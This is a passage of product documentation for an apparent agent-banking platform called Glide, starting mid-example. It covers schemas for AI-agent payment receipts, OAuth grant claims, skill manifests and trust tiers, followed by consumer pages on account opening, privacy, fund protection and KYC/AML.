grant_id: '60000000-0000-4000-8000-000000000006',
policy_version: 7,
tool_call_id: '80000000-0000-4000-8000-000000000008',
idempotency_key: 'ap-agent-acme-prod:inv-2026-0504-001',
action: 'payments.initiate',
risk_verdict: 'allow',
rail: 'usdc-base',
vendor_used: 'bridge',
amount_cents: 10000, // $100.00 — server-derived from chain RPC
currency: 'USDC',
counterparty_address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
counterparty_chain: 'base',
counterparty_token: 'USDC',
on_chain_tx: '0xabc123...', // fetched from chain RPC, never from facilitator body
timestamp: '2026-05-04T12:01:23.456Z',
});
```
The `receipt` is returned in the JSON-RPC result body and also persisted in `activity_log`.
### Step 8 — F4 trigger writes AgentActivityEvent
The Postgres trigger fires on the `activity_log` INSERT and writes an `AgentActivityEvent` projection — agent-activity rows live in `activity_log` via the agent-platform columns added by migration 0042. This is the F4 IRON RULE: no application code writes audit rows directly.
```ts theme={null}
// The trigger produces this shape automatically — application code never constructs it.
const event = {
schemaVersion: 'v1',
eventType: 'tool_call',
eventKind: 'tool_call',
eventId: '90000000-0000-4000-8000-000000000009',
timestamp: '2026-05-04T12:01:23.456Z',
agentId: '40000000-0000-4000-8000-000000000004',
principalId:'30000000-0000-4000-8000-000000000003',
vaultId: '20000000-0000-4000-8000-000000000002',
grantId: '60000000-0000-4000-8000-000000000006',
toolCallId: '80000000-0000-4000-8000-000000000008',
summary: 'Settled $100.00 USDC via payments.initiate on base',
extra: {
risk_verdict: 'allow',
rail: 'usdc-base',
vendor_used: 'bridge',
},
};
```
The Trust Console and `audit:stream` subscribers tail this table in real time.
## Schema cross-reference
| Schema | Where it lives in the flow |
| ------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------- |
| [`AgentPolicyEnvelope`](/docs/oss/standards/agent-policy-envelope) | Published by operator before the flow starts; `policy_version` threads through every subsequent schema. |
| [`ScopedGrantClaims`](/docs/oss/standards/scoped-grant-claims) | JWT issued by OAuth AS at step 3; carried as Bearer token; re-validated at step 5. |
| [`Grant`](/docs/oss/standards/grant) | Same wire format as `ScopedGrantClaims`; the developer-facing explanation of each JWT claim. |
| [`Receipt`](/docs/oss/standards/receipt) | Written at step 7 after settlement; `on_chain_tx` is server-fetched, never from facilitator body. |
| [`AgentActivityEvent`](/docs/oss/standards/agent-activity-event) | Written by Postgres trigger at step 8; append-only, no DELETE path. |
| [`_types`](/docs/oss/standards/_types) | `uuidV4`, `amountCents`, `chainId`, `isoDateTimeUtc`, `agentScope`, etc. referenced by every schema above. |
## Reading list
* [OAuth flow](/docs/oss/headless/oauth-flow) — the `client_credentials` → JWT exchange in full detail.
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) — the IRON RULES (F3, F4, F5) that each lifecycle step enforces.
* [AgentPolicyEnvelope](/docs/oss/standards/agent-policy-envelope) — all 14 policy axes and their evaluation order.
* [`@glideco/policy-engine`](https://www.npmjs.com/package/@glideco/policy-engine) — the open-source reference implementation of step 6.
# Receipt (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/receipt
Tool-call receipt persisted in activity_log after a money-touching MCP call settles.
After every successful MCP tool call, the gateway writes a `Receipt` row to the `activity_log` table. The append-only Postgres trigger (F4 IRON RULE) prevents tampering: UPDATE/DELETE/TRUNCATE rejected unless the admin DSAR session var is set.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/receipt.json`](https://glide.co/schemas/agent-banking/v1/receipt.json)
## Required fields
| Field | Type | Meaning |
| ----------------- | --------------------------------- | ---------------------------------------------------------------------- |
| `eventType` | `string` | `tool_call`, `step_up_completed`, `policy_change`, `kill_switch`, etc. |
| `timestamp` | `string` (ISO 8601) | UTC instant. |
| `agentId` | `string` | Acting agent (matches grant's `act.sub`). |
| `principalUserId` | `string` | Principal user (matches grant's `sub`). |
| `vaultId` | `string` | Resource vault (matches grant's `aud.vault_id`). |
| `toolName` | `string` | Which tool was called (e.g. `x402.pay`, `payments.initiate`). |
| `endpoint` | `'read' \| 'write' \| 'treasury'` | Confused-deputy isolation tier. |
| `inputDigest` | `string` (hex) | SHA-256 of the redacted input. |
| `outputDigest` | `string` (hex) | SHA-256 of the redacted output. |
| `riskVerdict` | `'pass' \| 'flag' \| 'block'` | Anomaly detector verdict. |
| `policyVersion` | `number` | Envelope version at call time. |
| `grantId` | `string` | The grant's `jti`. |
| `latencyMs` | `number` | End-to-end tool latency. |
## Optional fields
| Field | Type | When populated |
| ---------------------- | -------------------- | ---------------------------------------------------------------- |
| `onChainTxHash` | `string` | Money-movement tools after F1 RPC verify settles. |
| `onChainAmount` | `number` (USD cents) | Same. From `serverFetchChainTx`, never from facilitator receipt. |
| `stepUpSigil` | `string` | Step-up tools after the principal's biometric approval. |
| `redactedFieldsBitmap` | `number` | Bit-flags for fields redacted via DSAR (F4). |
## F-rule enforcement points
| Rule | What's enforced on the Receipt |
| ------ | ---------------------------------------------------------------------------------------------------------------- |
| **F1** | `onChainTxHash` + `onChainAmount` come from RPC, not facilitator. |
| **F4** | The row is append-only by Postgres trigger. Admin redaction requires session var + `redactedFieldsBitmap` match. |
| **F5** | `policyVersion` mismatch with current envelope blocks the row write. |
## Replay rendering
DSAR redaction does NOT delete the row. It nulls specific fields + sets `redactedFieldsBitmap`. The replay UI renders the row with `[REDACTED]` watermark over redacted fields — historical existence preserved.
## Example
```json theme={null}
{
"eventType": "tool_call",
"timestamp": "2026-04-25T18:23:45.123Z",
"agentId": "agent_01H8...",
"principalUserId": "user_01H7...",
"vaultId": "vault_01HA...",
"toolName": "x402.pay",
"endpoint": "write",
"inputDigest": "abc123...",
"outputDigest": "def456...",
"riskVerdict": "pass",
"policyVersion": 7,
"grantId": "grant_01HC...",
"latencyMs": 142,
"onChainTxHash": "0xdeadbeef...",
"onChainAmount": 50
}
```
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F1 (RPC verify) + F4 (append-only).
* [Threat model](/oss/security/threat-model) — T4 (audit-log tampering) + T11 (DSAR loophole).
# ScopedGrantClaims (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/scoped-grant-claims
JWT claims for the OAuth bearer grant. RFC 8707 resource-indicator-bound to a single vault + entity. Max TTL 60 minutes.
`ScopedGrantClaims` is the JWT payload the OAuth Authorization Server (Ory Hydra in production; HMAC-SHA256 in development) issues to MCP clients after a successful `client_credentials` or authorization-code exchange. Every MCP tool call carries one of these grants as a Bearer token. The `@glideco/grant-wrapper` package re-validates the grant on every invocation — a cached token alone never authorizes.
The relationship to [`Grant`](/docs/oss/standards/grant): `Grant` is the human-facing doc page that maps the JWT fields to their semantic meaning for agent developers. `ScopedGrantClaims` is the machine-readable JSON Schema document that partner verification tooling and token-introspection endpoints validate against. The two describe the same wire format; this page is the canonical schema reference.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json`](https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json)
## Required fields
| Field | Type | Notes |
| ---------------- | ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sub` | `uuidV4` | RFC 7519 §4.1.2 subject — the human principal who owns the vault and authorized this grant. |
| `act` | `{ sub: uuidV4 }` | RFC 8693 §4.1 actor claim. `act.sub` is the `agent_principal_id`. Glide always sets this; missing actor is denied at the verifier. |
| `azp` | `string` (1–128 chars, `[a-zA-Z0-9._:-]`) | Authorized party — the registered MCP `client_id` (e.g. `claude-desktop-prod`). Write tools refuse clients not on the registry. |
| `aud` | `{ vault_id: uuidV4, entity_id: uuidV4 }` | RFC 8707 resource indicator in object form. Both `vault_id` AND `entity_id` must match the resource being acted on. Verifiers MUST check both — checking only `vault_id` is insufficient. |
| `scope` | `agentScope[]` (min 1, unique) | RFC 6749 §3.3 scope set. Closed vocabulary from `_types.json#/$defs/agentScope`. Adding a scope value is CODEOWNERS-protected. Wildcard scopes (`treasury:*`) deferred to v1.5. |
| `policy_version` | `nonNegativeInt` | Policy version at issuance. Policy engine re-checks this against `(vault_id, policy_version)` on each call; mismatch triggers one retry then denies (`PolicyStaleError`). |
| `iat` | `unixSecondsPositive` | RFC 7519 §4.1.6 issued-at, Unix epoch seconds. MUST be `<= nbf <= exp`. |
| `nbf` | `unixSecondsPositive` | RFC 7519 §4.1.5 not-before. Transactions attempted before this fail-closed. |
| `exp` | `unixSecondsPositive` | RFC 7519 §4.1.4 expiry. Server enforces `exp - iat <= 3600` (60-minute TTL cap). Longer-running tasks use the keepalive pattern (Inngest job renews every \~30 min while in-flight). |
| `jti` | `uuidV4` | RFC 7519 §4.1.7 JWT ID. Equals the grant row's primary key in the `grants` table; used for revocation lookup. |
## Optional fields
| Field | Type | Notes |
| ---------- | ----------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `iss` | `string` (https URI, max 256 chars) | RFC 7519 §4.1.1 issuer. Identifies Glide's AS (e.g. `https://glide.co`). Optional at v1 for backward compat with the original `/draft/` shape; SHOULD be set on all newly-issued grants. |
| `resource` | `string[]` (https URIs, 1–8 items) | RFC 8707 resource indicators in canonical URI form. Optional — Glide derives the canonical URI from `aud.vault_id` + `aud.entity_id`. New code MAY emit this for OAuth-tooling compatibility. |
## Validation contract
`@glideco/grant-wrapper` re-validates every grant on every tool invocation in this order:
1. **JWT signature** — verified against the AS's JWKS (production) or HMAC-SHA256 secret (development; set `MCP_TOKEN_VERIFIER_DEV_SECRET`).
2. **`exp` not in the past** — bearer expiry check.
3. **`exp - iat <= 3600`** — max TTL enforcement. Grants issued for longer than 60 min are rejected even if the signature is valid.
4. **`aud.vault_id` + `aud.entity_id` present and match the resource on the request** — RFC 8707 enforcement. Both fields must match; one-sided match is denied.
5. **`act.sub` corresponds to a registered agent** — DB lookup; stale or revoked agent principals are denied.
6. **F3 IRON RULE — fresh-read tenant verification.** Re-reads the principal's tenant from DB. The cached token alone never authorizes.
7. **`policy_version` matches the current envelope** — mismatch raises `PolicyStaleError` (F5).
## Example
```ts theme={null}
import { grantClaimsSchema } from '@glideco/schemas';
const claims = grantClaimsSchema.parse({
iss: 'https://glide.co',
sub: '11111111-1111-4111-8111-111111111111',
act: { sub: '22222222-2222-4222-8222-222222222222' },
azp: 'claude-desktop-prod',
aud: {
vault_id: '33333333-3333-4333-8333-333333333333',
entity_id: '44444444-4444-4444-8444-444444444444',
},
scope: ['accounts:read', 'payments:initiate'],
policy_version: 7,
iat: 1746355200,
nbf: 1746355200,
exp: 1746358800, // iat + 3600 — exactly at the 60-min cap
jti: '55555555-5555-4555-8555-555555555555',
});
```
To enforce the 60-min TTL in server-side issue flow, use the stricter `grantClaimsValidatedSchema`:
```ts theme={null}
import { grantClaimsValidatedSchema } from '@glideco/schemas';
// This will throw ZodError if exp - iat > 3600.
const validated = grantClaimsValidatedSchema.parse(rawClaims);
```
## Validating against the schema
Three paths:
1. **At grant-issue time** via `grantClaimsValidatedSchema.parse(claims)` in the OAuth AS route. Issues that fail parse are rejected before the JWT is signed.
2. **At tool-invocation time** by `@glideco/grant-wrapper` — validates the decoded JWT payload before any tool handler runs.
3. **Against the JSON Schema document** for partner verification tooling:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json \
-d ./my-grant.json
```
## Common pitfalls
* **Checking only `aud.vault_id` and ignoring `aud.entity_id`.** A grant scoped to vault A within entity X is invalid against vault A re-assigned to entity Y. Both fields must match on every call.
* **Issuing grants with TTL > 3600.** `grantClaimsSchema` accepts longer-lived claims (it's a structural schema); only `grantClaimsValidatedSchema` enforces the 60-min cap. The AS always uses the validated schema — custom AS implementations MUST replicate this check.
* **Treating `iss` as required for backward compat.** The `iss` field is optional at v1 so existing `/draft/` consumers keep working. New AS implementations SHOULD set it.
* **Using `scope` as a string.** The Zod schema for `scope` is `string[]` (an array); the JSON Schema also defines it as an array. Some OAuth libraries serialize scope as a space-separated string. Parse the JWT payload before validating — decode-then-parse, not validate-raw-JWT-bytes.
* **Using `resource` instead of `aud` for resource binding.** The `resource` array is an optional RFC 8707 compatibility aid. Glide's verifier derives canonical URIs from `aud.vault_id` + `aud.entity_id`, not from `resource`. Verifiers that only check `resource` leave tenant isolation unenforced.
## Reading list
* [OAuth flow](/docs/oss/headless/oauth-flow) — the full `client_credentials` → JWT → JWKS verify walkthrough.
* [Grant](/docs/oss/standards/grant) — developer-facing explanation of what each claim means at runtime.
* [AgentPolicyEnvelope](/docs/oss/standards/agent-policy-envelope) — what `policy_version` references.
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) — F3 + F5 IRON RULES the verifier enforces.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/public/schemas/agent-banking/v1/scoped-grant-claims.json)
# SkillManifest (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/skill-manifest
Schema for agent skill packages at packages/skills//. Defines runtime compat, required scopes, policy template, consent summary, trust tier.
The OSS agent-skill manifest. Every package at `packages/skills//` ships one of these as `src/manifest.ts`.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/skill-manifest.json`](https://glide.co/schemas/agent-banking/v1/skill-manifest.json)
## Required fields
| Field | Type | Notes |
| -------------------- | --------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `schemaVersion` | `'v1'` | Locked. |
| `slug` | `string` (lowercase kebab-case) | Package directory name. |
| `displayName` | `string` | Catalog display name. |
| `tagline` | `string` | One-sentence pitch. |
| `longDescription` | `string` | Multi-paragraph description rendered in the install consent flow. |
| `category` | `'ap' \| 'treasury' \| 'consumer' \| 'payroll' \| 'x402'` | Catalog filter. |
| `runtimeCompat` | `Runtime[]` | `claude-desktop` / `chatgpt-apps` / `vertex` / `openclaw` / `hermes`. |
| `requiredScopes` | `Scope[]` | Closed-vocab MCP scopes the skill calls. |
| `policyTemplate` | `SkillPolicyTemplate` | Per-skill envelope defaults. Strict subset of `AgentPolicyEnvelope`. |
| `consentSummary` | `string` | Plain-English copy surfaced at install. **Must mention payments / money / cards / `$` / usd if `requiredScopes` includes a money-touching scope.** |
| `trust` | `'community' \| 'verified' \| 'core'` | Trust tier. |
| `publisher` | `string` | Maintainer org or individual. |
| `iconPath` | `string` (defaults `./icon.svg`) | Relative path. |
| `packageVersion` | `string` | Semver. |
| `blockingDependency` | `string \| null` | Free-text label. `null` = unblocked. Non-null = catalog renders "wait for V3" instead of "install now". |
| `homepageUrl` | `string` (URL, optional) | |
| `changelogUrl` | `string` (URL, optional) | |
## Closed vocabularies
Adding to any of these requires `@glideco/policy-engine` to understand the same vocabulary — CODEOWNERS-protected change.
### `SkillScope`
```
accounts:read
agents:read
audit:stream
beneficiary:write
cards:manage
payments:initiate
payments:simulate
treasury:yield-allocate
x402:pay
x402:receive
```
### `SkillRuntime`
```
claude-desktop
chatgpt-apps
vertex
openclaw
hermes
```
### `SkillCategory`
```
ap
treasury
consumer
payroll
x402
```
## Consent under-disclosure guard
The `SkillContractTestSuite` enforces a soft guard: if `requiredScopes` includes any of `payments:initiate`, `cards:manage`, or `x402:pay`, the `consentSummary` MUST mention payments / money / cards / `$` / usd. Soft guard against community-tier skills that under-disclose at the install consent step.
The contract test catches the obvious cases. Reviewers catch subtler ones during the verified-tier promotion review (e.g. consent copy that mentions money but lies about caps).
## Example
```ts theme={null}
import { SkillManifest } from '@glideco/skills-base';
export const manifest = SkillManifest.parse({
schemaVersion: 'v1',
slug: 'ap-agent-claude-quickbooks',
displayName: 'AP Agent (Claude + QuickBooks)',
tagline: 'Let Claude draft vendor payments from QBO invoices.',
longDescription: '...',
category: 'ap',
runtimeCompat: ['claude-desktop'],
requiredScopes: [
'accounts:read',
'payments:initiate',
'payments:simulate',
'beneficiary:write',
'audit:stream',
],
policyTemplate: {
perTxMaxUsdCents: 250_000,
dailyCapUsdCents: 1_000_000,
counterpartyAllowlist: [],
velocityCap: { windowMinutes: 60, maxCount: 20 },
},
consentSummary: 'Claude reads your QuickBooks Online invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast.',
trust: 'core',
publisher: 'Glide',
packageVersion: '0.1.0',
blockingDependency: 'V3 Bucket 3.3 (QBO integration) + 3.4 (bill pay)',
});
```
## Reading list
* [Authoring a skill](/oss/skills/authoring) — partner-PR flow.
* [AgentPolicyEnvelope](/oss/standards/agent-policy-envelope) — the full envelope a skill template constrains.
* [Skill catalog](/oss/skills/index) — every skill currently in the repo.
# TrustTier (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/trust-tier
Quality-based trust tier for connectors and agent skills. Community / verified / core.
Glide's connector + skill ecosystem uses a three-tier trust ladder. **Trust is quality-based, not licensing-based** — every package ships under MIT regardless of tier.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/trust-tier.json`](https://glide.co/schemas/agent-banking/v1/trust-tier.json)
## The three tiers
| Tier | When | Off-by-default? | Signed agreement? |
| ----------- | -------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ----------------------------- |
| `community` | Any first PR | Yes — `GLIDE_ALLOW_COMMUNITY_CONNECTORS=true` + red admin banner | No |
| `verified` | Reviewed against checklist + signed Trusted Partner Agreement (connectors) or Trusted Skill Agreement (skills) | No — ships enabled with per-tenant opt-in | Yes |
| `core` | Glide-maintained reference implementations | No — ships enabled | N/A (Glide is the maintainer) |
## How tiers work in practice
### `community`
The default for any first PR submission. The connector or skill is in the repo + the catalog renders it, but operators must explicitly opt in via env. Useful for experimentation, PoC integrations, or high-uncertainty vendor integrations.
The red admin banner is **not optional** — the connector / skill operates with materially less review than higher tiers, and self-hosters should know that.
### `verified`
Promotion requires:
* A separate PR that bumps `trust: community` → `trust: verified`.
* The signed Trusted Partner Agreement (connectors) or Trusted Skill Agreement (skills) attached as a PDF hash to the PR.
* CODEOWNERS approval from `@darshanbathija` (and, when the team grows, `@glide/core`).
* Compliance + counsel review (the verified-tier 8-gate CI matrix runs additional checks).
Verified-tier connectors / skills get marketplace placement at `glide.co/marketplace` with the Verified badge. Operators enable them per-tenant; opt-in is one-click.
### `core`
Glide maintains the reference implementation. Operators can rely on us for security patches, breaking-change migrations, and feature parity with Glide Cloud.
`core` is **not** "more trustworthy" in an absolute sense. A `verified` connector authored by a regulated partner with deep vendor expertise is often a better fit for a corridor than the `core` reference adapter.
## Tier promotion as a separate PR
The `trust:` field is CODEOWNERS-protected. Bumping it requires its own PR — never silent in a feature-add PR. This protects against:
* Self-promotion attacks (a partner writes a connector at `community`, then sneaks `trust: verified` into a follow-up "minor fix" PR).
* Stale Trusted Partner Agreements (we re-verify the PDF hash on every promotion PR).
* Tier-promotion review missing the compliance pass (separate PR = separate review SLA = separate counsel touch).
## Review SLA
* Community-tier: 5 business days from PR submission.
* Verified-tier promotion: 10 business days (includes signed-agreement review).
## Reading list
* [Adding a connector](/oss/connectors/extending) — partner-PR flow.
* [Authoring a skill](/oss/skills/authoring) — same flow for skills.
* [License compatibility](/oss/security/license-compatibility) — how tier interacts with dependency licenses.
# Open your account in 10 minutes
Source: https://glide-9da73dea.mintlify.app/quickstart
Sign up, verify your identity, fund your account, and get a card. Most people are done in under ten minutes.
You can open a Glide account from any country. There are no minimum deposits and no monthly fees. The whole flow runs in one screen on web or mobile.
Head to [glide.co](https://glide.co) and tap **Open Your Account**. Sign in with email or a passkey. Choose **Personal** if it's for you, or **Business** if you're opening for a company.
We need a few details to comply with KYC/AML rules in the five jurisdictions Glide is regulated in.
Have a passport or government-issued ID handy plus a phone with a working camera. The doc check + selfie takes about three minutes.
See [KYC and AML](/security/kyc-aml) for what gets checked and how long it's stored.
Two paths, both work from day one:
* **Stablecoin deposit** — copy your USDC or USDT deposit address, send from any wallet, settled in seconds. No KYC step required for crypto deposits.
* **Bank wire** — once KYC clears, you'll get account details in CAD, USD, GBP, EUR, SGD, HKD, AUD, and more. Wire from your existing bank.
Both paths are documented in [Deposits](/money/deposits).
Order a virtual Visa card instantly. Add it to Apple Pay or Google Pay. Tap to pay anywhere Visa is accepted, in any of 80+ currencies.
A physical card ships in 5–10 business days. See [Cards](/cards/overview).
Send to 180 countries via wire, ACH, SEPA, Faster Payments, SWIFT, or stablecoin transfer. Pricing is published up front; you see the fee before you confirm.
See [Send money](/money/send).
## What you get on day one
Hold and receive in 80+ currencies, each with its own local account details.
Spend anywhere Visa is accepted. No foreign transaction fees from Glide.
Deposit USDC, USDT, and more across Ethereum, Solana, Base, Polygon.
Convert between currencies at the live mid-market rate, zero spread from Glide.
## Next
* [Eligibility](/eligibility) — who can open an account, what countries we serve.
* [Account types](/accounts/personal-vs-business) — personal vs business setup.
* [Pricing](https://glide.co/pricing) — opening fees, FX, and transfer costs.
Need a hand? Email [hi@glide.co](mailto:hi@glide.co) or use the in-app chat.
# Data and privacy
Source: https://glide-9da73dea.mintlify.app/security/data-privacy
What we collect, what we keep, how long we keep it, and how to request a copy or deletion.
Glide collects what's needed to operate a regulated account and not more. This page documents what's collected, what's retained, how long, and how to exercise your rights over it.
## What we collect
| Category | Why we collect it | Retention default |
| ---------------------------- | -------------------------------------------- | ------------------------------------------------- |
| KYC ID and selfie | Regulated identity verification | 7 years post-account-closure (regulatory minimum) |
| Sanctions screening logs | Demonstrate compliance to regulators | 7 years |
| Transaction history | Operate the account, file regulatory reports | 7 years |
| Card transaction detail | Card statements, dispute support | 7 years |
| Activity feed receipts | Audit log for the account | 1 year (default), opt-in 1–7 years |
| Sign-in and device metadata | Account security, fraud detection | 90 days for non-anomalous; longer if flagged |
| Support conversation history | Resolve cases, regulatory record-keeping | 5 years |
| Marketing-opt-in preferences | Email and product communication | Until you opt out + 6 months |
We don't collect:
* **Browsing history outside Glide.** No tracking pixels for adtech, no cross-site behavior collection.
* **Location data beyond what you provide for account opening.** We don't continuously track where your device is.
* **Contact list, photo library, or other device data** beyond what you upload (e.g., a profile photo).
* **Biometric data after KYC.** The selfie used for KYC matching is processed by the doc-check provider for that one match and discarded; it's not retained for biometric login.
## Where data lives
Data is stored in the jurisdiction matching your account region:
* Canadian-residence accounts: Canada.
* UK-residence accounts: UK.
* EU-residence accounts: EU (specifically, an EU member state with adequate data-protection certification).
* Hong Kong / Singapore-residence accounts: in-region.
Cross-border data transfers happen only as required for regulatory reporting or for serving cross-border transactions. Standard data-protection contractual safeguards (SCCs, Privacy Shield-equivalent) apply where regulation requires.
## Your rights
Under GDPR (EU), UK GDPR (UK), PIPEDA (Canada), PDPO (HK), PDPA (SG), you have the right to:
* **Access** — request a copy of all the data we hold on you.
* **Correction** — correct inaccurate data.
* **Deletion** — request deletion of data, subject to retention requirements that come from regulation.
* **Portability** — request your data in a portable format.
* **Object** — object to specific processing (e.g., marketing).
To exercise any of these, **Settings → Privacy → Data request** or email **[privacy@axtior.com](mailto:privacy@axtior.com)**. We respond within 30 days (often much sooner).
## What deletion can and can't do
You can delete:
* **Your activity feed** beyond the regulatory minimum (after 7 years for transaction history; after 1 year for receipts in the default tier).
* **Marketing preferences** — immediate.
* **Profile photo and non-required metadata** — immediate.
* **Closed-account data** beyond the 7-year regulatory hold — deletion runs after the 7-year clock expires.
You can't delete (during the regulatory hold):
* **Transaction history** — required to be retained for regulatory reasons.
* **KYC documents and sanctions screening logs** — same.
* **AML monitoring detail** — same.
The regulatory hold isn't our preference; it's a baseline our regulators require. After the hold expires, deletion runs and is irreversible.
## DSAR redaction in receipts
If you redact a field in your activity feed (e.g., a counterparty name in a transaction you'd rather not retain visible), the receipt row stays in the audit log but the field is nulled and the redacted-fields bitmap is set. The replay UI renders the redacted field with a `[REDACTED]` watermark.
This preserves audit-log tamper-evidence (we can't make a row vanish) while honoring your deletion right (the actual data is gone).
## Cookies and tracking
The Glide web dashboard uses:
* **Strictly necessary cookies** — session management, sign-in state. Cannot be disabled.
* **Analytics cookies** — aggregate usage tracking. Off by default outside the EU; opt-in via the cookie banner.
* **No advertising cookies. No third-party tracking pixels. No retargeting.**
The cookie banner is honest. If you disable analytics, you'll see fewer banners and we'll see less usage data; the dashboard works the same either way.
## Third-party processors
We use third parties to operate the account: Privy for embedded wallet auth, Bridge for fiat rails, Chainalysis for sanctions screening, Alchemy / RPC providers for chain reads, Sentry for error tracking, Mintlify for these docs.
Each processor signs a data-processing agreement that limits them to the specific operation they perform. A list of current processors and the data each receives is at **Settings → Privacy → Processors** in your dashboard. We give 30-day notice before adding or changing a processor that handles personal data.
## Reporting a privacy concern
For privacy-specific concerns: **[privacy@axtior.com](mailto:privacy@axtior.com)**.
For regulator inquiries (e.g., a regulator's data-protection authority asking on your behalf): we respond directly to the authority and notify you per local-law requirements.
## Next
* [KYC and AML](/security/kyc-aml)
* [Two-factor authentication](/security/two-factor)
* [Regulatory](/security/regulatory)
# How we protect your money
Source: https://glide-9da73dea.mintlify.app/security/index
Funds held 1:1 in segregated accounts at major regulated banks. Five jurisdictions of regulatory oversight. Continuous monitoring.
Glide is a regulated Money Services Business in five jurisdictions: Canada, UK, EU, Hong Kong, and Singapore. Your funds are held 1:1 in segregated accounts at major regulated banking partners — not pooled, not lent, not used as Glide's working capital. This page is the index of how that protection works in practice.
## The four layers
Every fiat dollar held 1:1 at major regulated banks. Insolvency-safe.
Five jurisdictions of MSB licensing. Annual audits. SOC 2.
Continuous sanctions screening and transaction monitoring.
Two-factor on every signin. Step-up for sensitive actions. Device attestation.
## A note on stablecoins
Your stablecoin balances (USDC, USDT, etc.) are held either in dedicated on-chain custody or in segregated stablecoin reserve accounts at our banking partners. They're never commingled with other customers' deposits and never used as Glide's working capital.
The token issuers (Circle for USDC, Tether for USDT) have their own reserve attestations. Glide doesn't intermediate that — if you hold USDC at Glide, you're effectively holding a Circle-issued claim, segregated to your account.
## What insolvency would mean
If Glide ever had a corporate-level insolvency event (which we don't anticipate, but planning for the worst is part of the job):
* **Fiat balances** — held at the segregated banking partner. You'd have a direct claim on those funds via the partner. Not contingent on Glide's recovery; the partner relationship is structured so customer funds aren't part of Glide's bankruptcy estate.
* **Stablecoin balances** — either on-chain custody (which doesn't depend on Glide existing) or reserve segregated accounts (same partner-level claim as fiat).
* **In-flight transactions** — would be handled per the terms of service and applicable insolvency law. Most rails settle within days, so the in-flight window is small.
This is not a hypothetical "we hope" promise. It's structured into the operating agreements with each banking partner. Glide's regulators in each jurisdiction also require this as a condition of MSB licensing.
## Audit and reporting
We publish:
* An annual SOC 2 Type 2 report.
* Quarterly transaction-monitoring summaries to relevant regulators in each jurisdiction.
* Banking-partner attestation reports when our partners publish theirs.
* Sanctions-screening accuracy metrics on an annual basis.
Hosted-customer SOC 2 packages are available on request from your relationship manager.
## What we don't claim
* **We're not FDIC-insured** in the United States. We're not a US bank; FDIC insurance only applies to US banks. The functional equivalent for Glide users is the segregation of funds at our banking partners, who themselves are FDIC- or jurisdiction-equivalent insured.
* **We're not a custodian for arbitrary crypto.** We don't custody BTC, ETH, SOL, or volatile crypto-assets. The stablecoin support specifically is about USD-pegged liquidity at canonical issuers.
* **We're not a securities broker.** We don't issue securities, intermediate securities trades, or hold customer securities. Treasury yield (Q2 2026) operates through regulated fund vehicles, not as direct securities issuance.
## Reporting a security issue
Found a vulnerability? Email **[security@axtior.com](mailto:security@axtior.com)** with a description and a proof-of-concept. We respond within 24 hours and pay valid bounties on disclosure.
For account-specific security concerns (e.g., you suspect unauthorized access), use the in-app **Security** option for an immediate human escalation.
## Next
* [Segregated banking](/security/segregated-banking)
* [Regulatory](/security/regulatory)
* [KYC and AML](/security/kyc-aml)
* [Two-factor authentication](/security/two-factor)
* [Data and privacy](/security/data-privacy)
# KYC and AML
Source: https://glide-9da73dea.mintlify.app/security/kyc-aml
Continuous sanctions screening, transaction monitoring, and KYC verification on every account.
KYC (Know Your Customer) and AML (Anti-Money Laundering) are the regulatory frameworks that determine who can open an account and what counts as normal vs suspicious activity. Glide's approach: do the work properly so you're not surprised, document it transparently so you understand what we check, and don't add gold-plated friction beyond what regulation requires.
## What we check on opening
For a personal account:
* **Government-issued ID** — passport, driver's license, or national ID.
* **Live selfie** — matched biometrically against the ID photo.
* **Country of residence** — verified against the ID country and any address proof we ask for in higher-tier KYC.
* **Sanctions screening** — your name + DOB + country are checked against global sanctions lists (UN, OFAC, HMT, EU, MAS, HKMA).
For a business account, additionally:
* **KYB on the entity** — legal name, registration number, country of incorporation, regulatory status if applicable.
* **Beneficial owner KYC** — for any individual with >25% ownership.
* **Business activity description** — we use this to set transaction-monitoring baselines (a remittance company has different patterns than a SaaS).
## Tiers of KYC
| Tier | What's checked | What unlocks |
| -------------- | ------------------------------------------------- | ------------------------------------------------------------ |
| Crypto-only | None | Stablecoin deposits and withdrawals up to \$10,000 lifetime |
| Standard | ID + selfie + sanctions | Fiat deposits, card issuance, full Glide feature set |
| Enhanced | Standard + address proof + activity baseline | Higher per-transaction and monthly limits |
| Enhanced + EDD | Enhanced + source-of-funds + relationship manager | Highest tier; for large-volume users or higher-risk activity |
You move up tiers automatically when activity warrants, or on request. Most users sit at Standard indefinitely.
## Continuous sanctions screening
Sanctions screening doesn't stop after onboarding. We re-screen:
* Every counterparty on every outbound payment.
* Every on-chain destination address against the chain-analytics provider's flagged-cluster lists.
* Every account holder periodically against updated sanctions lists.
If a screening hit triggers, the relevant transaction (or, in some cases, the account) pauses pending review. You'll see a clear notice in the dashboard explaining what triggered and what's needed to resolve. Most resolutions are same business day; we don't hold accounts indefinitely without explanation.
## Transaction monitoring
Beyond sanctions, we run **transaction monitoring** — pattern analysis that flags transactions that look unusual against:
* Your account's baseline (declared activity, historical patterns).
* Industry-typical behavior for your business type.
* Known patterns of laundering, fraud, and account-takeover.
A flag is not a block. Most flags resolve into "this is fine, the model didn't recognize it." A small fraction escalate to manual review. An even smaller fraction become regulatory reports filed with the appropriate authority.
